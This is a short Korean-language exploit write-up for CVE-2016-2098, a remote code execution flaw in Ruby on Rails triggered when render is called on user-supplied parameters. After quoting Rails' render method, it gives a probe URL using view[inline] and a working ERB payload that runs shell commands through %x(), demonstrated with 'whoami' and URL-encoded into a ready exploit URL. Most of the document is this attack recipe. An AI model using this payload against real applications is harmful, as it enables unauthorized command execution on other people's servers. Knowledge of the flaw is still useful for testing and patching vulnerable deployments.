
Ruby-on-Rails에서 사용자 제공 데이터에 render를 사용할 때 발생하는 원격 코드 실행 취약점
Ruby-on-Rails에서 render를 사용자 제공 데이터에 사용할 때 발생하는 원격 코드 실행 취약점입니다.
이 문제는 사용자 제공 데이터에 render 메서드를 사용함으로써 발생합니다.
render 메서드는 일반적으로 템플릿에서 페이지를 렌더링하는 데 사용되지만, render 메서드는 개발자가 일반 텍스트(plaintext) 및 인라인 코드(inline)도 렌더링할 수 있도록 합니다.
render 함수:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
대상 URL:
http://example.com/?view=test
공격:
http://example.com/?view[inline]=OK
소스 코드에 'OK'가 표시되면 웹 애플리케이션이 CVE-2016-2098에 취약한 것입니다.
<%= %x('[CMD]') %>
CMD를 실행하려는 명령어로 바꿀 수 있습니다.
<%= %x('whoami') %>
URL 인코딩 후:
%3C%25=%20%25x(whoami)%20%25%3E
최종:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E